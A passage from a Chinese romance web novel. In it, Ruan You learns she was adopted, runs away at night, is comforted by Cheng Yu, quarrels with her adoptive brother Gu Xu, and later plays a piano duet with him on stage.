顾烟走了过来:“是你做的吧。” “什么?” 阮柚茫然,刚好遇见了当事人,“顾烟,不要忘了和宁糖道歉。” “我之前就说过,我不会道歉。” 顾烟笑得比哭还难看,“更不用说现在了,阮柚,为什么你什么都有,还要来打乱我的生活?” 阮柚心感莫名,“你想得太多了。” 她不知道顾烟为什么会这么想。 似乎从刚见面,对方就对她有微妙莫名的敌意。 顾烟告诉她,她被艺术团除名了。 “因为什么?” 阮柚顺着问。 顾烟张了张唇,说不出所以然。 阮柚自顾自说,“我猜一定不是因为我。” 她顿了顿,“应该是你自己的问题,但是你不想承认,不愿接受自己的失败,所以想方设法想找个替罪羊。” 很不幸,那个人就是她。 顾烟好似被拆穿心事般,强忍怒意,“你胡说!就是你撺掇着顾叙,他一来观看,我第二天就被除名了!” 阮柚眼瞳安静,心中无甚起伏。 她只说,“不是。” 顾烟:“究竟是不是故意的。” 阮柚看她。 对方似乎想明白了什么,讽刺地嗤了一声,再度抬头说,“你故意接近顾叙,就是为了这一天吧?”顿了顿,“一口一个哥哥,就是为了有一天,能够狐假虎威吧?” 阮柚抿了抿唇。 耐心告罄,心也彻底冷了下来,她干脆说,“是又怎样,不是又怎样?” 她无意和她耗时间。 顾烟眼睛闪烁怒意,上前一步刚想说些什么,眼前便被什么人拦住。看清来人,她脸色白了白。说到底,该叫哥哥的应该是她。可如今,她望着面前少年冷然的一张脸,心底只剩下了畏惧。 阮柚不知道顾叙是什么时候来的。 也不知道他究竟听了多久。她抿了抿唇,心跳一下子变得有点乱,却听少年先开口,“不久后,官方的信会送到学校。” “那里才有你想要的答案。”顾烟脸色更白,久违的羞耻感涌上了心头。送到学校,那全校人不都知道了? 但最后离开了,她什么也没说。 现下就只剩下顾叙和阮柚。 阮柚先一步开口,“我不知道她为什么来找我。” 顾叙:“不用在纠结这个问题。” 阮柚抿抿唇。却见少年胸前挂了块暖玉,在阳光下荡漾润泽。顾叙觉察到她的视线,神色一动,解释,“最近总是做一些奇怪的梦。” 他很轻地牵唇,“他们建议我带这个。” “原来是这样。”阮柚说,“梦都是相反的。” 顾叙沉默看她几秒,“是啊。” 梦都是相反的。 例如梦中的他,总在人群看不到的地方凝望着她,求不得的情绪好似一张细细的网,将他困顿原地、沉沉束缚。 如今,至少她看见了他。 阮柚一瞬不瞬瞧她,抿了抿唇。 她想起刚刚没经过思考的话,忍不住揪了揪他的袖口,“刚才说的是假的。” “什么?”顾叙一时不解。 “我没有想利用你。” 起初,她可能动机不算纯粹,但随着深处地相处,阮柚早就把顾叙放在心上了。放在心上的人,怎么会欺骗、利用呢? 她目光真挚,就怕他不信。 顾叙怔了一瞬,唇角带笑,“我知道。” 更何况—— 只要你在我身边,就算是利用又怎样。 顾叙心底一闪而过这句话。 他为此讶然,却直视了自己的心。 那处晦涩且偏执的灰色地带。 / 两人看完了比赛。散场时候,阮柚视线抬起,犹豫地说,“今天是我妈妈的生日。” “你说,我要不要去。” 顾叙想了想说,“哪个选择不让你后悔,就选哪个。” 阮柚轻轻地吸了一口气。 她还是决定去。 阮母一连给她发了好几条消息。阮柚心软了。昨晚她临睡前,想起曾经生病时躺在怀里听她唱歌的时候。那时的妈妈很温柔,眼里只有她,是他们之间少有的温情。 到别墅时,已然张灯结彩。 阮柚拎着礼物,问了佣人,才知道她妈妈在化妆。她点了点头,索性按电梯上了楼。 然而,她刚走了没几步。 虚掩的房门,阮柚不期然听见了里面的对话。她并非有意偷听,可恰好听见了她的名字。 很显然,话题中心正是她自己。 “妈妈,你们都向着她!” “顾烟,你想太多了。而且,大家都是一家人,和和气气的多好。今天你好好和阮柚服个软,让阮柚帮忙劝劝顾叙,他…” 阮柚呼吸发凉。 里面,正是阮母的声音。 “我才不服软。” 顾烟说,“凭什么我要服软,而且,她算我哪门子家人,妈妈你不是说等她过完十八岁生日,就告诉她真正的身世吗…” …… 啪的一声——— 手中的礼盒就这样掉在地上。 里面的人似乎听见了动静,提声问了句谁。但等彻底打开房门,阮母只看见一个绿色的礼盒。 暖色灯光下,掉落的礼盒摔开一张纸条。上面是再熟悉不过的字体。 “妈咪,生日快乐,平安喜乐。” “Ps:如果以后你对我好一些,我或许考虑可能会原谅你哦。毕竟,我想我还是爱你的(笑脸)” 阮母呼吸一滞。 第85章 第八十五章 顾叙篇 阮柚头脑嗡嗡作响, 几乎慌不择路。 酸涩的情绪膨胀胸口,她几乎屏蔽周遭一切声音,就这样跑出了家门, 越来越远。 眼前是雾蒙蒙一片,阮柚脸色泛白,脑海只剩下一个念头:离开这里。 她真正的身世? 什么身世?这究竟会代表着什么?不言而喻, 却是血淋淋地真相。 阮柚本能地畏惧退缩, 莫大的孤独抽离感将她彻底笼罩了完全。 等她再度回过神来时,脚步停下, 眼前是一片熟悉又陌生的森林。 月光皎洁,森林没有那么黑。 阮柚不禁想起了小时候。 初回到顾家时,她别扭却又渴望着爱,也回时常回味着幸福的瞬间。 犹记得每逢夏日, 家人会带她来附近这片森林露营,夜晚蝉声鸣叫, 她捧着一块冰镇西瓜, 不经意仰头时, 偶尔还会看见星星点点的萤火虫。而这时, 她的妈妈会变得格外温柔, 笑盈盈问起她,“阮柚,开不开心?” 开心当然开心。 那是她无论如何都想要留住的纯粹幸福。 阮柚多么想回到那时候啊, 多么想有一天, 自己能够再度握紧手中的幸福。 可如今看来, 都是虚假的。那本就不属于她,那是她……偷来的美好。 她在奢求什么呢? 如今只是拨回到原点罢了。 即便想通这点,可为什么, 她的眼泪还是像不要钱似的、无法控制地一直流呢? 阮柚迷蒙眨了眨眼睛。 她眨得频率很快,可仍然甩不去眼中浓郁的滚烫。 脑子晕沉沉,她站直了身子,聚了聚神,再度看向那片森林。 物是人非。 夏去秋来,夜色渐浓。 枯黄的落叶厚厚堆积在了地面,月光照下浮起冷清的光。周围只有她,她好像能听到自己的呼气声。那是自己能感知的仅存的温热之一。 一切都有了答案。 为什么他们会变……为什么再也感受不到他们完整的爱。 身上渐渐褪去了体温,阮柚靠在树干边蜷坐下,失神地想。 原来是这样啊。 为什么他们不直接告诉她呢? 哭干了眼泪,阮柚胸腔浸透起了冰凉,压抑的理智终于浮现了心头。 她紧紧地蜷握手心,压出淡淡的红痕来,细细麻麻的痛感袭来,意识却越来越沉钝。视线在迷蒙之时,她看着眼前的浸透月光的落叶,恍惚地想,她好像又看到萤火虫了。 再度醒来时,已是凌晨。 阮柚揉了揉眼睛,干涩发疼。她努力地站直了身子,空气太凉,不住瑟缩了下。 怎么睡着了。 她不该在这里的。 阮柚抿抿唇,回想起之前的难过,就好像做了一场梦。如今醒来,好似被挖去了一角,酸涩残存,胸口却空荡一片,唯有眼前的清醒。 她抬手扑去了身上的落叶,不由多想,起身离开。 哭过了,就该过去了。 正如太阳会再度升起,她也应该往前看。 之前,不是都相通了么? 可折返回去时,却不期然地瞥见远处熟悉的别墅灯火。眼睛像是被刺了下,阮柚不禁加快了步伐,迅速朝反方向走去,一个人跑出了这片浓夜。 已至凌晨,街边霓虹寥落,路灯昏沉。秋风寒凉,阮柚一个人走在桥边,周遭寂静,仿佛只剩下自己的脚步声。 她又成了一个人。 但这一次,阮柚什么感受都没有,只有麻木。 潮湿的晚风划过她的脸颊,顺着耳廓拨开乌黑的发丝,阮柚站在桥边,任风荡过衣衫,就这样眺望着不远处钢筋水泥构筑成的城景,心也渐渐放得很轻。 她应该回去了,回学校,然后睡个好觉。 正这样想着,阮柚好似终于找到了方向,蜷了蜷指尖,转身打算离去。 而恰在此刻。 身后忽地响起发动机低沉的轰鸣声,由远及近,在阮柚还未反应过来之际,就这样停在了她的面前。 凝神去看—— 少年长腿支在地面,银灰头盔摘下,露出染成灿金的蓬松短发。路灯照得成玉肤色很白,笑容也愈发张扬,“学姐,你也睡不着呀。” 他闲闲开口,依旧漫不经心的调子,却一下子,彻底打破了周遭的寂静。 感官在复苏。 阮柚吸了一口凉凉的空气。 隔空对望,她站在了原地,握紧了手心,竟一时不知该说些什么。 他怎么会在这里? 这么丢脸的样子,被看到了。 而现实并未给她多少反应的时间。 少年就这样阔步走到了阮柚的面前。 阴影迎面遮下,阮柚目光微闪,只觉眼前忽然黑了下来。 她忍不住唔了一下,再度回神,身上多了一件不属于自己的外套。她下意识抬手做起挣扎,指尖却不期触到少年为她整理头盔的手背,陌生的温热直至神经,她不由蜷缩手指,却听成玉在面前说,“别动。” “我已经很温柔了哦。”成玉慢吞吞地说。 透过头盔的防风镜,他弯身看向了少女的眼睛。眼睛红的像只兔子,却仍然藏着明亮的倔强,成玉抵了抵腮帮,一瞬有点出神。 莫名地,有点可爱啊。 他满意地勾勾唇。 阮柚太久没说话了,语气硬邦邦地:“你做什么?” 如今她戴着成玉的头盔,披着对方的外套,耳廓似乎残存对方的热度,这让她明显不习惯。但不知为何,此刻的她在本能地接纳这份温暖,身体体温也随之细细麻麻的复苏起来。 成玉制住她的动作:“在陪你玩啊。” 他说着,语气随之轻快了少许,“走吧,我们去兜风。” 阮柚很难形容此刻的心情。夜色浓郁,整个城市已然陷入久久地沉睡。 而她坐在少年的机车后座,逆风疾驰,余光是飞速倒退的繁华光影。他的胸腔是起伏的心跳,呼吸细软绵薄,却在逆流直上的风潮下,油然而生一股久违且莫名的舒畅。 就好像,一下子忘记了所有烦恼。 她忍不住侧了侧视线,去看,去感受。 而这时,她听见成玉在前面说:“有星星。” 速度倏然放缓,出于无法控制的惯性,阮柚眼瞳一颤,下意识抱紧少年的腰。 下一瞬,她的注意却全然被那句话所吸引。 她就这样抬起头,目光怔忪。 不知何时,原本伸手不见五指的夜空出现了点点的繁星,细碎的光芒就这样掉在了阮柚的眼睛里,将残存的情绪尽数覆盖。 阮柚不自觉深吸了一口气,半晌,“嗯,我看见了,很好看。” “什么?” 前面的少年未能听清,却静了静。 而后,他忽然轻松地说,“一想到人死后会成为星星,或化为虚无,就很想肆意妄为地过这一生啊。” 少年说的仍然轻描淡写,可偏偏,阮柚却隐约听出言语的认真。 她听进去了。此时此刻,头顶是星空,余光是疾逝的光影。她没有那一刻比现在更清楚的明白这段话。或许成玉只是再随心不过的一句感叹,但阮柚却听进去了,她莫名觉得,成玉他做到了。 同样,对方却也是点醒了她。 ——人生短暂,珍惜当下所拥有的。 阮柚眨了眨眼睛,呼吸忽然放的很轻很轻。她缓慢阖了阖眼皮,小声说了句知道了。 也不管对方有没有听清。 风声渐缓,成玉紧了紧手指。 身后的少女环过他的腰,无声无息间,侧脸就这么安静靠了过来。 隔着衣衫,成玉身形些微僵住,忽地几分无所适从。 很柔软,却温热而潮湿,几乎不用想哭的有多小声。 阮柚其实并不难过。 但是她就是想哭,她尴尬而局促地告诉成玉,是因为刚刚的夜空太美了。 彼时,成玉从24小时营业的便利店走出来。 闻言,他伸手拿了杯奶茶烫了烫她的脸,不咸不淡,“哦,知道了。” 阮柚眨了眨眼睛,捧过热奶茶,小声说了句谢谢。巧克力味道的 ,她第一次喝。甜的牙疼,但很好喝。 少年扣着卫衣兜帽,阴影罩下轮廓,几缕金浅金的头发松松落在眉前,就这样漫不经心喝完了他那一杯。 见阮柚看来,笑,“你这个表情好呆哦。” 阮柚:…… 她抿了抿唇,甜腻残存,努力找着话题,“你爱吃甜么?” “喜欢。” 成玉摸了摸鼻尖,抬手,空瓶呈半弧线准确落入不远处的垃圾桶。 末了,少年几分餍足舔了舔唇瓣,语气乖觉。 “越甜的,我越爱。” 我也是。闻言,阮柚在心里说。却知道该到道别的时候了。 便利店位于学校附近,即便她什么都没说,成玉却好像什么都知道似的。 他将她送到了校门口。 见她在发呆,成玉半开玩笑地说,“希望今天能治愈你的失眠症。” 阮柚瞳孔一闪,碎光浮动,“谢谢你。” 她抱着奶茶,再度郑重其事的说了一次。 成玉却稍稍耸肩,不在意地说:“我可什么都没有做。” 阮柚抿起很浅的弧度。她对成玉改观了,某一瞬间,她觉得成玉似乎很了解自己的处境。 她摁了摁手指,忍不住说,“你呢?你不回去么?” “会吧。” 成玉喉结微滚,含糊说,“在外游荡可不是什么好习惯。” 阮柚踢过了碎石子,闷闷嗯了声,表示知道了。 她也不想这样的。就是今天,太混乱了。 成玉想到了什么,略略弯下了身直视过来。 “所以千万别学坏哦。” 阮柚还在失神,听见成玉再度开口,下意识仰起了头。 老旧的路灯下,两人面面相望。 灯光幽微昏黄,无声无息将人影兀自拉长、就这样重叠覆盖。气温凝到了最低点,落下的呼吸团成薄薄的白雾,吞没在夜色。 顾叙找来的那刻,恰好看见的这一幕。阮柚失踪的消息传来,他从城北找到了市郊,甚至是最初相识的地方也几乎翻遍,却依旧寻不到踪迹。 最后,顾叙来到了圣煜。 不期然间,他先看见的,便是如今亲密而立的一幕。 胸腔是起伏不定的心跳,。 少年倏然定在原地,唇瓣苍白无血色,过分冷冽空气丝丝刺痛神经,喉腔随之泛起细细疏疏的血腥。 而后,他们隔空对望。 第86章 第八十六章 顾叙篇 若有所觉, 阮柚侧过了视线。 是顾叙。 一瞬间,她心脏软绵绵地,好似一下子踩在云朵。阮柚眼睛一亮, 脆生生地喊了声哥哥,便朝着顾叙的方向飞奔了过去。 成玉轻轻啧了声,直了直身, 心口莫名地堵了一瞬。 啧, 没良心的,哥哥来了就忘了他这个旧人。 阮柚到了顾叙面前, 兴奋之余,又后知后觉地发觉出几分不妥。此时此刻,她身上仍然披着成玉的外套,还没有还给对方呢。 她侧了侧脸, 想要折返回去,却忽的感受肩膀处传来不轻不重的力道。 顾叙帮她脱掉了不属于她的外套, 而后, 沉默地将自己的披在她身上。闻着衣衫熟悉的气息, 阮柚这才后知后觉, 从头到尾, 顾叙都安安静静,没有说什么话。 心间划过异样,阮柚不由仰起头, 恰好对上顾叙的面庞。 少年眼瞳深静如潭, 情绪稀疏瞧不出深浅, 阮柚却莫名觉得,他有些不太对。 她忍不住握顾叙的手。大衣袖口里,对方手指异常冰凉, 半点温度都没有。 好凉…… 感受到她的动作,顾叙缓慢凝神,很轻地在头顶说,“还回去吧。” 成玉的外套。 言简意赅,阮柚却听懂了,“好。” 成玉看了他一眼,接过便抬手穿上。 临走前,成玉特意停在阮柚身前,桃花眼满是意味深长,“不要忘了我刚才说的话。” 阮柚想起先前听见的“叮嘱”,点头,又嗯了一声。 她再一次道了一声谢谢。至少是现在,她没有那么那么难过了。 殊不知眼下这一幕,落在顾叙眼里却有了别样的意味。 两人像在说什么隐晦的谜语,无形之间将他彻底地隔绝在了最外缘。 他成了那个多余的旁观者。 顾叙喉结微滚,对成玉说,“不要对她说些奇怪的话。” 他说的平静无情绪,可成玉听着,唇边却露出清浅的笑意来。 顾叙抿唇,余光觉察阮柚看来的视线,不自觉绷紧了神经。 阮柚听出其中的严肃。 少年握的力道更紧了些,隔着凉薄的皮肤,似乎能感觉出滚热的血液流动。 顾叙似乎误会了什么…… 但今天真的太乱,她很难去和他一下子解释清楚。 正欲开口缓和气氛,阮柚这时听见成玉的声音,漫不经心地,“你只是他哥哥,管那么多干嘛?” 说完,少年懒洋洋地打了个哈欠,不欲多留。 他说了声再见,便再度戴上了头盔,潇潇洒洒离去了。 周遭一下子就只剩下了她和顾叙。 头顶路灯落下冷冷清清的光,周遭没了风,更为寂静无声。 少年穿了身深灰大衣,松松挂着一条薄款针织围巾,身侧灯光洒下,冷白脖颈上青脉隐约可见。他的手心极冷,丝丝浸透着寒凉,可阮柚却是浑然不觉,牢牢握着他的手,久久不放开。 好似找到了能够栖息的地方。 阮柚抿了抿唇,竭力咽下所有委屈,伸出手臂紧紧抱住了顾叙。她抱得很紧,耳畔贴在对方胸膛,收束力道里,依稀能感受到规律起伏的心跳声以及顾叙背部凸起的脊骨。 阮柚眨了眨眼:“哥哥,你怎么会在这里……” 顾叙沉默了几秒:“我在找你。” 闻言,阮柚呼吸一慢,阖了阖眼皮,鼻尖不由酸了酸。 而后—— 她忽然意识到,自己并不是顾叙的妹妹。他们甚至一点关系都没有。 这个认知一旦浮现脑海便一发不可收拾,逐渐清晰而锐利。 思及此处,偌大的空茫感骤然席卷了阮柚的心头,她沉默闻着顾叙身上熟悉的松香,迟钝发觉这股气息其实是那么冷,是那么的遥不可及。 ——倘若顾叙知道,她不是他的妹妹,他还会对她这么温柔吗? 这些……明明都不属于她。 阮柚不知道答案,也不敢想。 她只觉得自己像个卑劣的小偷,赤裸裸地贪恋这份美好,并开始患得患失。 不要。 她不想再失去顾叙了 顾叙低头,看着怀里的少女,罕见地陷入了沉默。 冰火两重天,冲荡过后,内心只剩下了荒芜的冷漠。 并未对阮柚。 而是自己。 强烈的自厌感几乎吞没了他。 所幸如今,理智尚存。他呼吸放缓,得以继续面对阮柚。 怀中,阮柚忽然说:“哥哥,对不起……” 顾叙听出了其中难言的哽咽,胸口不由刺痛,“不需要和我道歉,阮柚。” “是我太担心你了。” 他不愿让自己无法控制的情感,有朝一日,成为困顿她的负担、甚至是囚禁她的枷锁。 “可我真的不想这样。”她明明应该说出真相,却自私地选择了隐藏。 她不想这样,可是,她真的不想再失去顾叙……阮柚出神地道,窝在少年怀里,陷入了近乎抽离的情绪中。其实她最不知道该如何面对顾叙,可倘若时光能倒流,她依然会在那个雨水迷蒙的傍晚,选择抱紧他的手。 长夜寂静,两人沉默相拥,各自想法却错了位,几乎背道相驰。 顾叙闻言一滞。 无声无息间,他直了直脊背,双手搭落在阮柚的肩膀。 视线迷蒙之间,阮柚虚虚张了张唇,仰头对上了顾叙的视线。 顾叙将她推离了怀抱。少年从口袋里拿出了纸巾,沉默替她擦拭去了眼泪。 但不知为何,力道收的有些重。 阮柚感觉出脸颊的几分疼,睫毛微颤,下意识地侧脸闪躲了下。 这一幕恰恰好落在了顾叙眼底。 顾叙动作顿住,几乎如梦初醒,“对不起,我弄疼你了。” 阮柚缓慢地眨了眨眼睛,摇头,“不疼的,一点也不同。” 顾叙呼吸一涩,他知道阮柚的言不由衷,那闪躲的动作从不会说谎。 为什么要对他小心翼翼呢? 是因为,当他为她擦拭眼泪的时候,脑海却浮现的却是那日所见的耳鬓厮磨? 还是因为,他不过只是个外人,不该去查手过多她的生活? 顾叙曲了曲指节,就这样放下了手。 可他却无法忽视她扑闪的眼泪,和眼尾哭过的微红。 他轻声问,“为什么哭呢,阮柚。能告诉哥哥么。” 阮柚眼神一晃,低下头,没去看他的眼睛。 顾叙看出她的闪躲。 她不愿回答,甚至表现出了躲避,但这不该是一个无解的命题。 他抬起她的脸颊,让她得以看着他的眼睛。 顾叙神态认真而柔和,“阮柚,告诉我,是因为……成玉吗?他欺负你了么?” 脑海只剩这个猜测,问出的那一刻,顾叙分秒不错地观察阮柚的神态变化,却未曾发觉,两人如今靠的如此地近,他如今的动作是多么的越轨。 阮柚很快否认了,“不是。” 她努力抑制鼻酸,忙讷讷解释,“成玉是个很好的人,我很感谢他。” 话说完,目光相接。脸颊是少年手心的冰凉,过近的距离里,睫毛似乎都沾染上对方的呼吸, 阮柚莫名呼吸紧绷了些。 这时,却见顾叙松开了手,用很寻常的语气说,“好,我知道了。” 她睫毛闪了闪。 顾叙神态安静,站在自己身边。 阮柚却莫名心间一凉,某种预感就这样凝上了心头,不强烈,却令她不安。 而后。 顾叙微微偏开了身子,嗓音温柔,“睡觉吧,忘记那些不好的情绪。” 阮柚神情恍惚,就这样随着顾叙的步伐走。 然而走了没几步路,灯火阑珊。飘渺的呼吸不时团出薄白的雾气,阮柚缩在顾叙的外套里,便听见身侧的少年放慢语气说,“我以后……” 他顿了顿,声音淡若未闻,却刚好坠入阮柚的耳朵里。 “不会再管这么多了,今天……对不起,我不应该来。”顾叙眉头皱了又松,指节重重压在掌心,克制情绪。 她该有自己的生活、自己的空间。 闻言,阮柚步伐骤然一顿。 好似被当头一棒,整个人晕沉沉,陷入不绝的嗡鸣。 隔了几秒,觉察处少年伸手为她拉外套衣链的动作,她忽然心中浮现阴霾。 “所以。”阮柚退开了半步,难过情绪蔓延,却难得没有一滴眼泪。 这让她得以看清他。月光下,顾叙容颜清俊,神态依然温柔,但头一次,阮柚却觉得有些陌生。 胸腔酸涩蔓延,细细麻麻占据了心头。 阮柚很轻地弯了弯唇,咽下丝丝涩意,“你要放弃我么?” 顾叙眼瞳一晃,“没有。” “那为什么?”阮柚呼吸发痛,声音却愈发清亮,“是我哪里做的不够好么?” 顾叙却一时不说话了。他低头望着她,肤色冷白到近乎病态的程度,可依然不躲不闪地看着他,那么坦诚、那么纵容。 月光洒下,又那么圣洁。 平生第一次,阮柚萌生出一个想法。 是啊,顾叙就是这样,他那么温柔的人,对谁都温柔,也对谁都残忍。 倘若不是一个强敷上去的妹妹身份,他又怎会这么关心、爱护她? 从前,他可以旁观她所有的心酸困窘;而如今,她却突然想在顾叙面前藏起来。 阮柚缓慢地眨了下眼,忽然,没那么想等他的答案了。她快速低头脱掉外套,抬手时候,少年却忽地抓住了阮柚的手臂。 并非束缚的力度,阮柚即刻得以挣脱,却听顾叙说,“会感冒的。” “我不要你管。” 明明,是顾叙说的,可如今为什么还要牵扯她的情绪? 抬起头—— 阮柚就这样同顾叙对上了视线,混乱思绪凝成了一句万分干涩的话,“谢谢你今天的关心,但就这样吧,顾叙。” 说罢,她头也不回跑进了学院宿舍。 顾叙没追。 少年立在了原地,苍白脸庞不沾染半分血色,唯有唇瓣渗出星点的殷红,渗透唇齿,铁锈般的咸腥。 夜色茫茫。 顾叙身躯如松竹般清瘦,瞳色飘忽久久不聚焦,整个人透出漆黑死寂来。 她不再叫他哥哥了…… 第87章 第八十七章 顾叙篇 天空湛蓝, 窗明几净。 翌日,阮柚从混沌不堪的睡梦中苏醒,睁开眼, 只觉喉间干涩发痒。 她清了清嗓,竟一时发不出来什么声音。 阮柚从床上坐起穿鞋,恍惚见想起昨夜发生的种种, 就好像做了一场荒诞至极的梦。 然而, 一切都在提醒自己那不是梦,而是真实发生的一切。 阮柚接了杯水润嗓, 从医药箱里翻找出来感冒药。 她有点感冒了,意料之中,甚至吃发苦的药时神态都没什么变化。 她眨了眨眼睛, 然而呆呆看着镜子, 脑海却仍然闪过顾叙的那张脸。 对方说,今后再也不会管她了。 他也要放弃自己了。 和他们一样, 从此, 她就又是一个人了。 一个人也没什么不好, 更何况, 阮柚还有自己。 她这样对自己说。 阮柚洗漱了过后, 敷了会儿消肿面膜,就背着书包去上课了。 她之前选修了天文物理学。上课铃响,老师在讲授着恒星演化, 最后感叹了句, “宇宙对比之下, 我们人类何其渺小,一生仿佛弹指一挥,沧海一粟。” 阮柚听得出神, 低下头,却倏忽想起昨夜听见成玉的那句。 “肆意地活一次。” 草稿纸凌乱不堪,昭示着主人混乱的心情。 下课铃声骤然想起,阮柚如梦初醒,眨了眨眼睛,听见有人在叫她。 女生问,“阮柚,能不能拜托你一个忙?” 阮柚今天没穿制服,只穿了件藏蓝色外套,拉链严严实实拉到脖颈,皮肤很白,看着很乖。 “什么忙?” “快要艺术节了……”女生有点难为情,“我们社团打算排一场音乐剧,但是缺个会弹钢琴的人。” “阮柚,你如果有时间的话,能不能帮帮我们?拜托了。” 女生目露恳求,她知道阮柚会弹钢琴,她在论坛看过她弹琴的视频。 闻言,阮柚一阵失神。 她好像有段时间没有练习钢琴了。 女生:“可以吗?” “可以。”阮柚颔首,想了想补充,“但我平时有课。” “没关系,我们会努力协调好大家的时间的,不会耽误你上课的。”女 生眼睛亮了亮,“这个送给你。祝你天天开心哦。” 看着对方远去的背影,阮柚缓慢眨了眨眼睛,下意识低头看了眼手心。 手心瘫放着一个笑脸发夹,扬起的弧度正在熠熠生辉- 阮柚出门走了没多久,顾盛就拦在自己前面。他深深看了阮柚一眼,“生日那天……” 阮柚却仰起头,眼睛剔透干净,“我已经什么都知道了。” “阮柚……你别相信。”顾盛捏了捏眉心,眼眶泛红,心情瞬间糟透了,“那些话都是假的。” “真的假的,对我来说都已经没什么意义了。” 阮柚缓慢呼了一口气,想了想,鼻腔仍是忍不住酸涩了下,“但是如果可以,我真的想让你们早一点主动告诉我。” 顾盛张了张唇,一时竟不知该说些什么。 但他却不想让阮柚离开,就好像对方离开了,就再也不会回来。 这个念头令他恐惧。 然而刚一抓住她的胳膊,一道男声就慢悠悠传了过来。 “这是干什么呢?” 成玉挑眉,步伐不紧不慢,他只是路过,手中还抱着一个篮球。 少年身形高挑,气场迫人,三步两步走到了阮柚身旁。 旁人看了,莫名闻出些许不寻常的气息。 阮柚缓过神来,竭力抽回了手。 她其实不知道该怎么面对顾盛,此时此刻,唯有逃避这一个念头。 她低了低眼睫,什么都没说,便沉默离开了。 从楼梯走下时,屋外的阳光恰好照在她眼皮。 阮柚一个恍惚,右手空空地擦过扶梯,脚步差点踩空。 一只手却先一步搀扶起她。 阮柚缓慢侧过身,恰好对上了一双熟悉的眼睛。 胸口骤然一缩,阮柚嘴唇重重抿了一下,匆匆移开视线,“谢谢。” 顾叙抬睫不语,只是看着少女远去的身影。 手心是散不去的温度,热的发烫。 ……他似乎被讨厌了。 成玉抱着篮球走下来,挑眉,“嗯?大忙人怎么回学校了。” 顾叙掀起眼皮,波澜不惊,“有些事要处理。” 成玉:“看见她了?” “嗯。”顾叙鼻息很轻地嗯了口气,眉眼很安静。 “她似乎……”成玉想了想,“最近遇见了什么事,反正是不太开心。” 顾叙眼波微晃,“是么。” 成玉看了眼他过分苍白的面庞,倏然话题一转,“最近没去看医生?” “没有时间。” “没时间找时间啊。” 顾叙沉默没说话,临走前却叫住成玉,“成玉。” 成玉似乎猜中什么,耸肩,“我和阮柚可不是你想的那样。” 昨夜他第一眼就看出顾叙的不对,少年眼底阴郁转瞬即逝、却令他感到新奇。把人护的像眼珠子似的,偏偏要装着不在意,属实让人同情。 顾叙闻言,却抬唇说,“如果你有让她快乐的能力。” 他看向成玉,依旧是那么平静,“那就多陪陪她吧。” “就当我求你,成玉。” 成玉闻言一愣。 阮柚走出来,走了很久,脚步渐渐慢下。 校园有人骑着单车,清泠泠的声响穿梭错过耳畔。 凉风拂过脸颊,她神情恍惚了瞬,余光一错,终究还是转过身。 路人迎空同她碰上了视线,擦肩而过前,朝她笑了笑。 阮柚捏了捏掌心,钝钝发疼,自嘲浮现心头。 她在期待什么呢? 阮柚缓慢眨了眨眼睛,快速收拾好了心情。 她附近吃了饭,下午没课,吃饱过后没多久就回了宿舍。 她心情很乱,身体也很疲惫,想要一觉睡到天荒地老。 薄薄的窗帘拉的严严实实,室内不见日光。 等到阮柚再度醒来时,已经到了傍晚十分,骤然掀开窗帘,傍晚余晖就这样不期然地洒在了她眼皮,阮柚下意识眯了眯眼睛,有种被蓦地拉回现实的感觉。 学院晚上有几个演出,宁糖参与其中之一,因此邀请她去看。 阮柚想都没想就答应了。她想看宁糖的演出,也要透透气,更想彻底地沉浸在演出里。 下楼,宁糖愣了下,问,“阮柚,你怎么脸色这么白?” 阮柚勉强牵了牵唇角,说,“可能因为我敷了面膜。” 宁糖呆呆地说,“原来你这么重视我。” 阮柚眨了眨眼睛,见宁糖满眼感动,还是讷讷点点头。 宁糖似乎知道阮柚情绪的不对劲,一直给她讲笑话。 虽然阮柚听来都有些冷,但她弯了弯唇角,胸口依然泛起暖意。 很奇妙的感觉,从对方身上散发渲染了自己。一场舞台剧,宁糖在里面饰演一个歌女,即便出场不多,却格外引人注目。 宁糖的歌声清脆动听,婉转又温柔,好似拥有了治愈的力量。 坐在台下阴影里,阮柚呼吸放缓,内心却涌现不属于自己的骄傲来。 结束之后,掌声不止。 阮柚跟着拍掌,眼瞳剔透扑闪,星星点点的舞台光洒在眼皮,如梦幻交织。 而后。 正在她以为快要退场的时候,周遭观众忽然忍不住激动起来,躁动不已。 阮柚随之定了定神,却见幕布缓缓扫下,少年身着白衣,立在钢琴前,温柔地就像缓慢铺展开的画中人。 舞台前,顾叙掀起眸,嗓音清冷,“我想邀请一个人,和我一起合作。” 话音一落,台下骤然炸了锅。 阮柚抿紧了唇瓣,听见周遭兴奋地议论,他们都在期待自己会成为那个幸运一员。 她则置身其中,于阴影下僵坐在原处,竭力克制着绷紧的情绪。 恰在这时—— 顾叙视线缓缓越过人潮,就这样锁定在她身上。 “可以么?” 阮柚呼吸微屏。 她有着登台的勇气和渴求,却没有面对顾叙的任何准备。 她不知顾叙在想什么,可再度坠入那双沉静如海的温柔眼睛,她脑海空白了一瞬,似乎连心跳都开始放缓。努力抓了抓手心,阮柚终究还是上了台。 聚光灯打的她面容雪白,精致五官轮廓愈发清晰,有着夺目的明艳。 闯入了画,也为画添彩。 走近些,阮柚却用一种不解且陌生的眼神望向顾叙。她不知道顾叙在想些什么,也不觉得这像是顾叙的作风。 顾叙却淡笑,眼底泛起晦涩的、类似苦涩的情绪。 一闪而过,他说,“坐下吧。” 少年正襟危坐,脖颈微弯,修长手指娴熟地落在琴键上。 光影骤暗,一时间,阮柚的世界似乎只剩下身侧的人,以及自己难以平息的脉搏。 顾叙弹得正是她那日弹奏的吉它曲。少年放缓了节奏,将它改编成缱绻的钢琴曲。阮柚睫毛颤了颤,胸腔腾起说不清道不明的情绪。钢琴声放大了她的感官,她沉浸其中,不知觉地抬起手,陪顾叙演奏完了这首曲子。 结束之时,他们指尖不期地碰撞在了一起。 仿若电流顺着肌肤骤然荡过,阮柚睫毛低低闪过,下意识蜷回了手指。 好奇怪。 身侧,顾叙落下了手。 他的视线仍然落在钢琴前,可阮柚却莫名感觉出,自己在他的余光里。 台下凝滞过后,骤然响起雷鸣的掌声。 有人上台送花,阮柚怀里也多了束绚烂的郁金香。 散场后,有人将两人围了起来。听见赞赏,顾叙说,“这首钢琴曲,原创来自我身旁的女孩。” 阮柚看向了顾叙,神态茫然。 混血男人眼神激动未退,他摘掉了头顶的黑色鸭舌帽,递给阮柚一张名片。 末了,他开门见山,“不知小姐是否有去国外深造的打算。” 阮柚却一封权威的推荐信。 而现在,机会就在咫尺之间。 那么近,那么触手可及,可偏偏,她却没有想象的那么开心激动。 